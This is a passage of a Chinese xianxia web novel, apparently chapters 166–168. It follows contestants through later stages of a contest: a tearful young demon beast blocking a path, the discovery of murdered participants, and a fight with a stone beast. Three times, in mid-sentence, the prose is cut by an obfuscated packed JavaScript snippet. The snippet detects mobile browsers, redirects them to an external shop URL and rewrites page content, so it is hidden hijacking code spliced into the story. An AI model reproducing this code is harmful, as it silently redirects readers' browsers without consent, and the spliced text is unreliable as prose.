“如此,便让她退出比赛。”云魁思忖了一下说,他看向上空,知道此时场外慕小闲一定在观看比赛,他幽黑的眼眸透出低调又坚定的光,如同一颗未经打磨的、纯粹的黑珍珠,仿佛无声地对外传递着:替我照顾好云姬。 赛场上响起:“通过第一赛段一共十人,一人伤重昏迷退赛,一共九人进入第二赛段。恭喜各位进入第二赛段的参赛者。” “第二赛段参赛者将会随机分为三组,小组成员共同行动,必须在两个时辰内抵达第二赛段终点。” “下面宣读分组名单,第一组越棠棠、云魁、辛芜”辛芜是西入口的晋级者。 “第二组风宿、梦谭、越萩”越萩是第二名西入口的晋级者。 ”第三组阿瓀、越沧、西见”越沧与西见都是南入口的参赛者。 风宿一听与梦谭又分在了同一组,不由眯了眯眼,狭长的眼中裹挟着一丝不悦,嘴角微微一抬,轻笑一声,意味不明地说:“原来是盯上我了?看来我很有潜力呀。” 阿瓀恋恋不舍地看了越棠棠与云魁一眼,瘪着嘴故作委屈道:“姐姐、哥哥,我怕是要没了。” 越棠棠揉了揉她的脑袋:“不怕,越沧也很厉害,他笔试考了第五呢。” “棠棠姐,你这不是埋汰我吗?”第二组的越萩在不远处忽然笑道:“越仙谷的参赛者笔试都名列前茅,只有我一个考了二十二。这不,又分到第二组了,我怎么和二这么有缘?该不会要折在第二赛段吧?”越萩是个削瘦的青年人,眼中有神,穿着随意,看着是一副聪明相。 “越萩,你但凡有好好准备,也不是这个名次。”越沧呛道,他是个中年人模样,说话声音粗犷,语气带着几分长辈的威严。 和越棠棠、云魁分到一组的辛芜是个梳着小辫的小姑娘,看上去柔柔弱弱,气场不比云姬强多少。 辛芜向他们走来,对他们眨眨眼,轻快地说:“我是辛芜,你们北入口晋级了好多人,一定都很厉害。过会儿带带我呀。” 越棠棠与云魁不置可否,含混道:“哪里哪里。” 辛芜也不勉强,语气故作幽深道:“第一赛段考的并非能力,而是品性,只要不作妖就能晋级。但是你们看,二十八位参赛者仅有十名通过考验,西入口南入口两人,东入口仅有一人,难道他们都是品性不好?我看未必。 “只要有一颗老鼠屎便会坏一锅粥。若非你们运气太好,没有碰上厉害的老鼠屎,那么就是你们很厉害,能够将老鼠打趴下,不准它在粥中随便拉屎。” 小姑娘话糙理不糙,越棠棠与云魁在上一赛段晋级太顺利,反倒没有过多思考。反观其他入口的晋级情况,简直能用惨不忍睹来形容,他们真是走了大运。 “这......我倒是没想到。”云魁说。 小姑娘抱大腿的意思很明了:“第二赛段晋级者依旧不限名额,我们一起晋级。” “各就位,第二赛段比赛开始!” 三组参赛者分别沿着三条小路出发,三条小路将他们引向了不同的方向,不消片刻互相不见踪迹。 越棠棠与云魁都不是多话之人,一路上只管前行,并不闲话。 辛芜跟在他们身后觉得有些没意思,于是开始跟他们讲述自己刚才在第一赛段都经历了什么。无非就是有人想要第一个达到终点,但心急吃不了热豆腐,弄巧成拙将自己搞出了局。走之前大为不满,自己无法晋级还想带走几个,于是大家闹作一团,没想到统统被罚出了局。 “世风日下,人心不古!”小姑娘越说越带劲儿,也不管越棠棠与云魁有没有在听。 “要我说,第一赛段设计还真有意思,你以为它会一上来就给你一个下马威,但它就是没有。它风平浪静,让我们自己去琢磨,自己去斗,没成想还真自己把自己绕进去了......你们怎么不走了?” 辛芜被两人挡在身后,透过缝隙看到前方出现了一座小山。 山怎么了? 她定睛一看,那座小山居然在微微发颤。 山会动吗? 不。 那座小山慢慢抬起头,转过身子...... 有鼻子有眼...... 辛芜脚下一软,妈呀,居然是个妖兽! 小妖兽像一只毛绒绒的小熊,刚才低着头背对他们,看上去就像一座小山。圆圆的两只耳朵低垂着,两只如宝石般乌黑发亮的眼睛布满了水雾,转头瞧见他们三人,挤眉弄眼做了一个鬼脸,似乎想吓唬他们,一张嘴却哇哇大哭。 “你别哭啊。”越棠棠没带过孩子,尤其是这么大的孩子,有些手忙脚乱:“你怎么了?你是第二赛段的考验吗?” 这个哭的上气不接下气的小妖兽,是自己不小心跑进了第二赛段的考场还是它原本就是第二赛段的考验? “呜呜,我......我娘娘说,要我待在这里,不让你们过去......”小妖兽的眼泪就像一颗巨大的水珠,从天而降,啪嗒一声,将云魁和越棠棠浇得透湿。 听这说法,它应该就是第二赛段的考验,不过这孩子看上去也太小了。 越仙大赛的组织人员也是,怎么能够雇佣未成年妖兽? 他的眼泪一颗接着一颗,辛芜赶紧站远了一点,问:“你娘娘去哪儿了?” 一提到麻麻,小妖兽哭的以头抢地,大有毁天灭地之势:“我爹爹娘娘都去其他赛道了......哇——娘娘——” “它的爸爸妈妈是第二、第三组的考验?”辛芜冷静推断道。 越棠棠运气将身上的水汽蒸发,困惑道:“越仙谷连三只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234756|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖兽都找不到吗?居然找来了一家三口,还有一只才这么小。” 云魁没见过这架势,不过一思索觉得并非是坏事,笑道:“看来我们捡了个便宜。” 辛芜也笑眯了眼:“说不定这次我们是最先到终点的。”说完,她试图悄悄地从小妖兽身边溜过,小妖兽突然转头看她,瘪着嘴奶声奶气地说:“不准走!” 妖兽再小也是妖兽,声势之大将周遭的草木压得一边倒。 辛芜吓得一激灵,平息了好长时间回过神,冲小妖兽抬了抬眉:“你留在这里等娘娘,我们去去就回。” 小妖兽一脸不满:“你们是骗子!娘娘说了,不能让你们过去!” 越棠棠拦住要硬闯的辛芜,问:“怎样才能放我们过去?” 小妖兽的眼睛转了转:“我口渴了,我要喝水。” 云魁手上闪过一道光,瞬间变出一大碗水递给它。小妖兽刚才嚎啕大哭,身上缺水抱着大碗咕咚咕咚喝起来。那碗里的水是从附近的小溪中引过来的,怎么也喝不完,小妖兽喝了个痛快。 辛芜问:“现在可以让开了吗?” 小妖兽放下大碗,打了个嗝:“我想吃糖。” 越棠棠从兜里抓出一把五颜六色的糖。 小妖兽一个接一个丢进嘴里,边吃边玩,爪子上沾了糖的颜色,也变得五颜六色。 辛芜的耐心快要用完了,语气中不自觉染上了一丝焦躁:“可以放我们过去了吗?” 小妖兽完全不理会,嘴一撅说:“不行,娘娘说了不能让你们过去。” 辛芜脸色沉了下来,不论如何威逼利诱,小妖兽都不挪半步,敦实地堵住了路口。 辛芜见越棠棠与云魁还未出手,不满道:“你们还等什么?沟通不了就动手呀。” 越棠棠和云魁对视一眼,都从对方的眼神中读出了一种“不忍下手”。 云魁从小拉扯妹妹长大,对小孩完全下不了手。越棠棠也露出怜悯的神色,对着云魁摇了摇头。 辛芜傻眼了,想要抱个大腿没想到自己变成了大腿,气的跺脚:“你们怎么能这样!这是比赛!难道你们在外遇到危险也不出手,任别人揉捏吗?” “辛芜啊,不是我们不想出手,是......”越棠棠尴尬地看了一眼小妖兽。它那双圆溜溜的眼睛正气呼呼地看着他们,一张稚嫩的小脸圆乎乎的。 实在是太可爱了...... 打是不可能打的,把孩子打坏了怎么办? 不过比赛还是要比的,他们该怎么过去呢? 突然,远处传来几声巨大的轰响,他们寻声望去,天际轰然炸开了一道刺眼的白光。 “那边是第几组?”越棠棠问。 云魁答道:“不知道。不过显然他们已经开战了。” 第二赛段比赛时常依然是两个时辰,每一分每一秒都是珍贵的,自然不能再蹉跎下去。 “不如这样......”越棠棠转了转眼珠:“小妖兽,你的娘娘在哪里?我们一起去找她好不好?” 小妖兽一听,眼睛一亮,挪了挪身子就想要走,但是又想起娘娘说不能动,皱着眉头又坐回了原处,拧着眉嘟着嘴纠结地望着着远处。 云魁见状,赶紧补充道:“你看,你娘娘说不能让我们过去,我们也没过去。她没说不能去找她,所以我们和你一同去找你娘娘。你一定很想快点和娘娘见面吧。” 小妖兽眼中的水雾又涌了上来,咬着嘴唇点了点头,握紧了拳头似乎做了一个艰难的决定:“我要去找娘娘。” 167. 第 167 章 第一组虽然没有顺利过关,但是却将考题拐走了。几人寻着远处传来的声响,穿过一片密林,眼前豁然开朗,来到一处平坦的草地。 另一边战况正激烈。 第二组遇到的是小妖兽它娘,体积比小妖兽大了几倍,身形魁梧如泰山,毛发炸起,面露凶光,呼哧呼哧喘着粗气,每走一步地面都发出微微颤动。虽然小妖兽看着弱小可怜又无助,但它娘一看便知不是善茬。 “娘娘......娘娘......”小妖兽一见它娘娘,忘乎所以地向前跑去,没几步就摔了个狗啃泥,爬起来坐在地上又嗷嗷哭起来,边哼哼便观察它娘的反应,见它娘此时聚精会神地应战,无暇顾及它,便哭得更卖力了。 第二组的风宿、梦谭、越萩三人被这突如其来的认亲的环节惊呆了。 风宿拍了拍手:“了不得,你们怎么想到去绑架它孩子的。” 大妖兽突然瞪大双眼凶狠地看向越棠棠三人。辛芜慌忙摆手叫道:“不是绑架!不是绑架!” 爱岗敬业的妖兽老娘转头向小妖兽吼道:“嗷——你怎么跑这里来了......不要妨碍我!” 小妖兽脸上挂着泪珠瘪瘪嘴,将委屈吞下肚子呜咽道:“我想娘娘了......”一只小妖兽乖乖垂着头坐在一边,不敢妨碍它娘娘工作。 正在此时,梦谭趁风宿被吸引了注意力,一掌劈过,一道亮光擦着风宿的发梢在空中炸开。 风宿迅速跳开,气极骂道:“你有完没完?” “他们起内讧了?”越棠棠问一旁的越萩。 越萩耸耸肩:“不知道。他们一进来就开始打,打的难舍难分,仿佛有几百上千年的深仇大恨,那妖兽反倒成了陪衬。” 云魁推测道:“看来他们在第一赛段闹得很不愉快。” 风宿为了躲避梦谭飞越过妖兽的上空,妖兽猛地抬起巨大的手臂向他扑去。眼看身后梦谭只差三步就要追上来,风宿面临腹背受敌、左右夹击的攻势。 突然,他在空中翻了个跟头,眨眼之间身影倒挂与梦谭错身而过,速度极快。 妖兽的手臂随着风宿的身影下移,迎头一掌砸在梦谭的身上。 梦谭吃痛,想要打回去,但不知为何躬下身,捂住了自己的腹部。 就这么一会儿工夫,风宿已经越过妖兽,留下一连串嚣张的笑声。 “哈哈哈哈各位,先走一步!” 越萩一愣:“他这就算过关了?” 越棠棠脸色凝重:“看来是的。” 梦谭捂着腹部靠边坐下,脸色惨白,眼中透着森冷的光,似乎一时半刻无法动弹。 越萩望着妖兽出神,焦急地喃喃道:“完了完了,没想到这妖兽的攻击这么厉害。现在风宿跑了,梦谭又受了伤,我一个人恐怕过不去了。” 小妖兽在旁边高兴得打滚:“娘娘好棒!不准他们过去!” 辛芜趁妖兽不注意,悄悄拉着越棠棠和云魁往回走。 身后小妖兽注意到他们溜走,大喝一声:“都站住!不准跑!” 三人哪里会听它的,一阵疾驰,回到刚才的赛道。 小妖兽想追但舍不得娘娘,一阵左右为难,被它娘呵斥道:“愣着干嘛,快去追!” 三人被小妖兽追赶,不想与它动手,于是便砍倒了林中的树做障碍,将小妖兽团团围住。 小妖兽四处面壁,急的团团转,冲着上空怒吼一声,声音震耳欲聋。 “嗷呜!不准走!都给我回来!” “放我出去!你们这些坏人!” “娘娘救命啊!” 三人哪里还有时间理会它,又一阵疾驰,赶到了第二赛道的终点。 第二赛道终点已然躺着一人,正优哉游哉地假寐,听到动静睁开眼睛:“你们来的还挺快。” 不多时,越沧出现在了第三赛道出口,他显然经历了一场大战,身上有些狼狈。 风宿眯了眯眼:“不错,你干倒了那妖兽的爹爹?” 越沧瞥了他一眼:“承让。” 赛场上响起:“第二赛段晋级五人——” 第二赛段比赛结束,梦谭和越萩都没有出现。风宿丝毫不感到意外,他不在,梦谭那个疯子说不定会转而去攻击越萩。不过,那两个人能否晋级又关他何事? 赛场外的人们在经历了第一赛段东入口的厮杀之后,对第二赛段如此风平浪静感到一丝丝失望,不过还有第三场比赛,没准儿还会有惊喜。 在第三赛段开始之前,有一个时辰的小憩时间。 观众席的人陆陆续续离开,又陆陆续续地回来。 几个衣着缥缈、打扮素雅的女子站在观众席下方,围着越仙大赛的主办人员面露愁色,似乎在盘问什么,仔细听,她们在问:“你们见到玉荣仙者了吗?她出来了吗?” 这么一说,大家才回想起来,玉荣仙者自从踏上了第一赛段分岔路口的左路之后,很快就消失在了大屏幕上。之后到梦谭踏上左路,再到风宿与梦谭出现在第一赛段终点这段时间,不知道左路上发生了什么?玉荣仙者明明先他们一步,却并未抵达终点。 “我们一直没有等到玉荣仙者,她会不会还在赛场上?”其中一位女子问道。 大屏幕上再次出现刚才比赛的情形,画面一路倒退,直到退到玉荣仙者最后一次出现。在画面中,玉荣仙者一路飞驰,突然停了下来,面色不善,但画面上没有出现任何异常。 玉荣仙者张了张嘴,似乎说了什么,但是没有记下声音。 屏幕上突然蒙上了一层薄光,画面变得朦胧难辨。 观众骚动起来:“怎么回事?怎么感觉有点诡异?” “那是玉荣仙者吗?她好像躺在地上了?” “她是不是还在赛场上没出来?” “快!快进去寻她!” 越仙谷的人忽觉不妙,赶紧冲去赛场搜索。 小楼中,云姬躺在塌上休息,楼下突然吵闹起来,她皱了下眉缓缓睁开眼睛望向窗外。 “楼下吵吵闹闹的在做什么?”慕小闲倚在窗边向下望去。 晏离起身走到她身边:“有什么发现?”慕小闲摇摇头:“没发现,只觉得我们所过之处应该有事发生,这么平静委实有些不习惯呐。” 这话说得好,半个时辰之后几名搜索的人员面如菜色地回来了。 “找到玉荣仙者了吗?”围观群众问。 几名组织人员面面相觑,不敢做声。 “她人在哪里?怎么样了?是不是受伤了?严不严重?现在在哪里?”几名女子赶忙追问。 组织人员在众人的围攻下身体发抖,战战兢兢地说:“玉荣仙者受了重伤,抬回客栈休养了。” 适才她们一直守在出口,并未看见有人被抬出来。几名女子皱眉互相看了一眼,眼底是难以掩饰的焦灼,飞身立马赶回客栈。 不多时,几名女子神色悲恸地回来,抓着越仙大赛的组织人员推推嚷嚷。 “玉荣她......她根本没回来!” “你们把玉荣怎么了?你们说啊!她到底怎么了!” “玉荣她在哪里?” “不就是一个比赛吗?怎么会这样?” 组织人员神色也是恍惚:“我们也不知道怎么会这样。我们赶到的时候没有看到玉荣仙者,在附近找了好一会儿,才......才在草丛中发现玉荣仙者的尸身......” 一名女子直接跌坐在地上痛哭起来:“不可能,为什么啊......” “到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268510|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么回事?玉荣仙者怎么会死?” 群众偷听到他们的谈话,开始议论纷纷,皆是难以置信。越仙大赛第一赛段并非竞技比赛,怎么会闹出这种事? “你们组织人员怎么回事?连参赛者的安危都不知道?” “若不是有人发现玉荣仙者没出来,你们是不是都不会进去找?” “刚才东入口厮杀那么激烈,也没有人进入阻止,你们巴不得闹出人命是不是?”群众群情激昂,全然忘记了刚才自己看的津津有味。 “越仙谷果真是小地方,办个比赛都办成这样。” “走了走了,比赛也没什么看头。” 看台上有人提前离场。 一个男子凝着眉观望了好一阵,犹犹豫豫地站起身,逆着人流,从看台上走下来。又在人群之外左顾右盼了许久,才终于鼓足勇气挤进人群,凑到组织人员身边说:“有一件事,我一直觉得有些奇怪......” 周遭的人一听,突然停下脚步和哭嚎,暗中打量着这个男子。男子看上去普普通通,是个丢进人群中不会多看一眼的人。 被众人打量,他蛮不好意思地抓了抓耳朵,低声说:“我不太确定,所以一直没有说。” 组织人员被他神神秘秘的样子吸引了,觉得他定然是知道些什么,抓着他:“你知道什么,赶紧说出来。” “这......”男子眼珠一转,状似为难道:“也不能白说吧。” 旁边一名哭红了眼的女子,掏出一袋仙币说:“你尽管说,只要你的消息有用,我们不会亏待你。” 男子掂了掂袋子的重量,说:“前两日我在客栈与那名叫梦谭的参赛者有过几面之缘,刚才我看比赛时没认出他,我还以为是同名之人。他与我之前见过的模样不大相似,神态气度也不一样。先前看他模样尚且算是端正,气质正统,一点不像这位浑身杀气的样子。” 组织人员一愣:“你是说,此梦谭非彼梦谭,他被人掉包了?” 女子一听,又哭道:“那他是谁?玉荣仙者进了左路之后一定是遭遇了假梦谭的追杀,可是我们并不认识他,他为什么要袭击玉荣?” “还不能定论,如果梦谭真的被掉包了,那么真梦谭去了哪里?”一名女子清脆的声音插入了他们的对话,闹哄哄的人群分开,让慕小闲走了进来。 “你是何人?”有人问。 “区区不才,是参赛人员的家属,需要保障自家兄弟的安全。”慕小闲答道。 “那他又是谁?”有人怯生生地看了晏离一眼,他身上气度不凡,但是透着一股寒气,让人退避三舍。 “他呀......”慕小闲眯了眯眼。 “他是我的家属。” 晏离闻言,没有出声辩驳。 就在此时,一人连滚带爬地冲进人群,向组织人员跑来。他一身泥泞,瞪大了眼睛,神情惊恐不已。 男子跑过来一把抓住越仙大赛组织人员的袖子,那名组织人员并未推开他,脸上还有一丝疑惑与关切,两人像是早就认识。他跑得太猛岔了气,大口咳嗽,像是要把肺咳出来:“咳咳......越峰,越峰他......” “越峰是东入口未到场的那名参赛者。”组织人员向周围的人解释道,拍了拍男子的手背说:“现在出了些状况,这些事回头再说。” 男子一听摇了摇头,眼神飘忽不定,边喘边说:“不,越峰出事了......” 组织人员皱起眉,心想祸不单行,怕是不好:“他怎么了?比赛这么重要的事还能说不来就不来?” 男子惊恐地抬起头,脸上说不清是汗还是泪,苍白的嘴唇微微张开,仿佛一只被抛上岸垂死挣扎的鱼,发出一声凄惨无比的悲鸣。 “他死了——” 168. 第 168 章 在天界想要杀一个人并非易事,现在居然有两人丧命于此,且都和越仙大赛有关,越仙寨难辞其咎。 男子脸色惨白抓着人不敢撒手,惶恐道:“我今早出门洗衣服,洗着洗着手一滑衣服落在水中飘走了。我追着衣服跑到河流下游,就看到下游两石之间卡着一团什么东西。我以为是谁家也丢了衣服,就捡了根树枝去捞。结果......结果......”男子说着说着,差点哭出声。 三件事情接连发生,不禁让人怀疑事件之间是否有联系。 慕小闲眸光微动,问道:“梦谭出来了吗?” 他没有晋级第三赛段,早就该从赛场出来了。 众人四处张望,不见梦谭的身影。 “比赛结束后他就不见了。”越萩从人群中走出来,身上有几处挂彩,但都是些微不足道的皮肉伤。他与梦谭都是第二赛段第二组的参赛者,比赛结束时理应一同出赛场。 “他刚入赛场时表现很激进,未走两步便与风宿纠缠在一起。我听风宿一路骂骂咧咧,两人好似有过节。但风宿从妖兽手中溜走之后,梦谭没有和那妖兽继续过招,而是坐在一旁休息。我一个人应付妖兽,也没时间理会他。比赛结束后,我就往回走,也没再见到他。” 阿瓀和西见也从人群中走出来,但因为第二赛段与梦谭不在同一赛道,所以根本不知发生了什么。 慕小闲心想,如此一来梦谭很有可能还在赛场之中。她没有声张,尚未查明真相之前,比赛还需继续。若是比赛突然停止,反而会打草惊蛇。 “我们去看看那两具遗体吧。”人群中传来一声微弱的声音,慕小闲一回头,看到云姬站在她身后。云姬脸色惨白,强撑着走了过来,说:“我处理过很多伤口,或许能发现点什么。” 大家见识过云姬的治愈之力,觉得她说的有些道理,于是越仙大赛的组织人员将他们带到一处闲置的矮房,里面已经被清空,外面零星几个人伸长了脑袋看热闹。 “那两具尸身就停放在这里,不过到底是在比赛期间出的事,如果有任何发现,请告诉我们,由我们出面追凶,还请各位不要声张。”组织人员说道。 两具尸身停放在屋内,玉荣仙者与越峰两人僵硬地窝在木板上,脸上没有半点血色。 慕小闲虽然已经见惯了打打杀杀,但是验尸还是第一次,不由倒吸一口气,眉间透着紧张。反倒是云姬泰然自若,面无表情地走到玉荣仙者身前,上手翻看起来。 晏离站在男尸身前,手中带着一缕白气从尸身上空拂过,停留片刻。 “怎么样?”慕小闲问。 “他是昨夜被人打死的,一击即中,没有挣扎。行凶者的仙术远在他之上,没有在他身上留下痕迹。”晏离收回手说道。 云姬还在玉荣仙者身上查看,她看的安静又仔细,从头发开始,一点一点向下摸索。她看得很慢,慕小闲就在她身后安安静静地等着。 云姬忽然蹲下来,目光停在了某处。 “可是有发现?”慕小闲问。 云姬轻轻抬起玉荣仙者的手:“你看,她的指甲缝里的残留。” 玉荣仙者爱美,留长了指甲,贴了好看的珠花,右手除了拇指之外,指甲缝中均不同程度地沾染上了一种黑色的物质。 慕小闲与云姬对视一眼,异口同声:“是血!” “她身上没有明显的伤痕,会不会是在打斗中凶手身上留下的?” 晏离说;“凶手身上有伤。” 慕小闲疑惑道:“可是假梦谭身上好像没有伤?” 他若是有伤,与风宿打斗时应该能看出来不对劲。 “你可记得那人接过那妖兽一掌后,便不再进攻,而是退到一旁休养?”晏离问。 慕小闲点点头:“他或许是旧伤复发,所以干脆停下来。这么说,他的最终目的并不是赢得比赛。”随即她轻笑了一声:“也是,除非他能将所有的参赛者全部杀了,否则根本无法保证自己最终能赢。” 云姬点点头,眸子里透着一股认真的韧劲:“我们现在只能确定,凶手曾经受过伤,还留下血迹。只是这血迹我还要再验。” 如果不是为了赢得比赛,假梦谭的目的是什么? “他的目的如果不是为了比赛,那么必然想要通过比赛掩人耳目。他提前做掉真梦谭,取而代之,真梦谭恐怕也凶多吉少。但是他杀越峰和玉荣仙者是为了什么?”慕小闲沉思道,越峰的尸身尚且有可能拖到比赛之后才被发现,玉荣仙者与同伴一同前来,若是失踪,短时间内必然会有人发觉。 “他为何要杀玉荣仙者与越峰?” 话分两头,第三赛段比赛开始,越棠棠、云魁、风宿、辛芜、越沧五人进入比赛场地。 进入第三赛段的比赛场地不再是在户外,而是一段封闭的甬道。第三赛段依旧是两个时辰,外面天色已经开始转暗,室内的光线愈加不明。 几人不知前方会有何物,只能用仙力燃灯,一点一点向前摸索。对经历尚少的几位参赛者来说,心理压力大过眼见之物。 一行人在甬道中行走,仿佛夹在微弱的光芒与无尽的黑暗之中,进退维谷,连呼吸声都显得有几分突兀。 “你们听到什么声音了吗?”走在最后的辛芜问,她总觉得甬道之中回荡着一种微妙的震颤。 “什么样的声音?”越棠棠停下脚步问。 几人停下,侧耳倾听,一开始并未听见有什么声音,但过了几秒之后,耳边渐渐有细微的嗡鸣。 这种嗡鸣声越来越大,渐渐四周的墙壁都随之震动起来。 有什么东西在靠近? 几人举高了手中的灯火,紧绷着身体,睁大了眼睛等待着那东西的靠近。 手上的光焰陡然一窜,一个巨大的阴影出现在他们后方。 一个巨大得快要挤满整个甬道的石球,正以极快的速度向他们滚来。 众人顿感身上一寒,各种招子向石球袭去,没想到石球虽然在磕磕碰碰之下有所损耗,但依然巨大无比,速度丝毫没有减缓。 这巨石若是压在身上,哪还有活路。 “哇啊啊啊啊啊——”风宿大叫一声,撒开腿就跑。 几人跟着他在甬道中一路狂奔,见到一处分岔路口,风宿猛地闪进了左边那条路。身后几人也跟着跃进了左路,就在辛芜的小身板跳进左路的刹那,巨大的石球从路口呼啸而过,转入了右路,甬道内地动山摇,余震不绝。 几人倒地的倒地、靠墙的靠墙,狭窄的甬道中回荡着大口喘息声,众人皆庆幸捡回了一条命。 “为什么会有石球?这也太狠了!”风宿大骂一声,回音在狭窄的空间回荡。越沧一把捂住他的嘴:“小声点,小心又招来什么东西。” “刚才可能不小心触碰到了机关。”越棠棠思忖道。 几人面面相觑,都不记得自己进入甬道之后有碰到特殊的地方。 “风宿,你怎么知道要走左路?”辛芜问。 风宿眨眨眼睛,带着几分得意的语气说:“因为刚才第一赛段的分岔路口我也选了左路。” 辛芜不信:“这是什么理由?” 云魁回忆道:“在第一赛段时,右路人数已经达到上限,你是选无可选,只能走左路。” “应该是他发现左边的地势比右边稍微高一些。”越棠棠蹲在分岔路口边观察,指给大家看:“你们看,左边入口处比右边高了半阶,刚才跑的太急,很难察觉到。” 高了半阶,也就一指长。在昏暗的环境疾奔之下,风宿居然还能留意到这一点,并快速做出反应,可见他的观察能力、反应能力不俗。 暗处几个余光悄悄落在了风宿身上,带着不易察觉的琢磨和敌意。第三赛段依然不限晋级人数,但晋级后便进入越仙台争夺仙丹,如果能在此时解决掉几个竞争者,那是最好不过。 石球的事告一段落,几人又沿着甬道走了半刻,眼前豁然开朗。 光线突然涌入,一时看不清眼前的景物,等适应后又大吃一惊。他们穿过漫长的甬道,走进了一块石墙围着的赛场,而赛场之上等候他们的是一只喘着粗气的石兽。 石兽由巨石堆积而成,高约三层楼,面目身形像是狮子与老虎的结合。与第二赛段的妖兽不同,这石兽不通人性,也不会说话,但行动却很灵活。它虎视眈眈地盯着突然出现的几人,露出口中的獠牙,向前迈了一步,那粗重的喘息声落在了几位参赛者的耳边。 “这又是什么怪物?”辛芜躲在几人身后,弓着身子从缝隙中窥视,心跳如雷。 风宿骂道:“越仙大赛也忒狠了,从哪里找来的石兽?万一参赛者有个三长两短,他们赔得起吗?” 越沧站在他身侧,抬眼瞥了他一眼,用低沉的声音问道:“比赛规则上说的,参赛者自愿服从比赛安排,生死全权自己负责。你可是签字画押了的?” 风宿一哽,想起自己参赛前确实有签个什么协议,但内容他没有仔细看。 “你们看它身后。”辛芜突然叫道。 石兽背后,赛场的另一端,一个不起眼的角落也有一个甬道的入口。 辛芜眼中划过一抹精光,思忖道:“我跟你们打赌,那边的甬道就能通向越仙台。只要我们能够从这里过去,就算通过了第三赛段。” 越沧反问道:“这石兽体积如此大,将那甬道堵得严严实实,怎么过去?” “往好的方向想,没准它只是体型大呢。”越棠棠小声安慰道。 云魁点点头:“说得没错,我们先试他一试。” 云魁说完,发现其余几人皆望着他若有所思。 若是仔细看比赛的人就会发现,几人之中唯有云魁几乎是一路躺赢过来的,未在众人面前展现实力。就连一路与他分到同组的越棠棠也从未见过他出手,此时心中也有疑虑,若是让外人捡了漏子,他们越仙谷的脸面往哪儿放? “你们想让我去?”云魁挑了挑眉。 风宿干笑两声,说道:“并非让你一人去对付那石兽,而是需要大家通力合作,你若再不出手,比赛可就比完了。” 云魁擅长遁地,以他之能,可以直接从地下通过这座赛场。他留下来,既是为了保留自己的实力,也是为了观察其他几位参赛者的实力。 云魁点点头:“我们合作。” 辛芜作为诱饵从甬道中跃出,吸引了石兽的注意。石兽转头一掌向她拍去,巨大的手掌砸在赛场墙壁上,顿时土石迸射,辛芜从阴影处溜走,面色惨白,被吓得半死。 就在此时,云魁、越棠棠、风宿、越沧突然出现在另一端,几道光影对石兽发起攻击,“轰轰”几声,石兽的颈部、腿部、臀部皆受到重创,它向后退半步,一声压抑的嘶鸣从口中溢出,圆瞪的双目似在喷火一般,立刻扭头去攻击身后几人。 辛芜趁石兽注意转移,将身体掩在废墟之后,悄悄地向赛场另一头爬去。 风宿怎么可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297682|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她一人先走?他余光瞄见辛芜的身影,本该对石兽的一击居然转向了她。 一道光斑炸裂在辛芜眼前,她惊得一跳,忍不住骂道:“你眼瞎啊,这么大个东西都瞄不准!” 风宿知道她想浑水摸鱼,带着气说:“别以为我不知道你想做什么,我要是过不去,你们也别想过去!给我回来!”他又是一击,竟然将场地的地面撬得翻起。辛芜一面躲避石兽,一面还要躲避风宿的袭击,成了全场最艰难的人。 越沧趁势一击,正中石兽的眉心,它眉间的毛发焦得冒出一股青烟。石兽踉跄一步稳住身形,恶狠狠地盯着他,瞳孔缩成一条竖线,但几秒过后目光突然涣散,身体像一座山一般轰然倒塌,扬起滚滚尘土。 赢了? 石兽紧闭双眼一动未动,像是晕了过去。 几人面露喜色,看越沧的目光中多了几分赞赏与警惕。 越沧于半空中负手而立,眉间紧拧,面容严肃,略带着长辈的架子冷沉道:“越仙大赛说到底只是一个比赛,不必拼个你死我活。” “这样最好。”风宿趁大家不备,脚一蹬,从赛场侧面飞过,直冲对面的出口而去。越沧虽然表现得稳重,但见风宿行动,也不甘示弱,紧紧跟着他,生怕迟人一步。 辛芜抬腿想走,却见越棠棠和云魁没动,疑惑道:“你们还不走?” “那妖兽好像有问题。”越棠棠凝眉,手上跃动的仙力并未收起,浑身上下依然在紧绷的状态。 话音一落,倒地的妖兽猛一甩尾,强劲有力的尾巴如同一灵活的鞭子,竟然将已靠近出口处的风宿、越沧两人,横扫至一边,两具身体重重撞击上了墙面。 顷刻之间,风云突变。 墙轰然一声碎裂,地面嗡嗡震动,露出了墙外的草丛,也将两人掩埋在碎石之下。 赛场上响起两声: “参赛者破坏比赛场地,触发隐藏比赛规则第一条,退回比赛原点,罚站一炷香。” “参赛者出界,触发隐藏比赛规则第二条,退回比赛原点,罚站一炷香。” 话音一落,碎石塌了下来,已经不见两人的身影。 “这......隐藏比赛规则是什么?为什么还有这种规则?”辛芜在前两个赛段并未见识过破坏规则的参赛者,此时惊呆了。 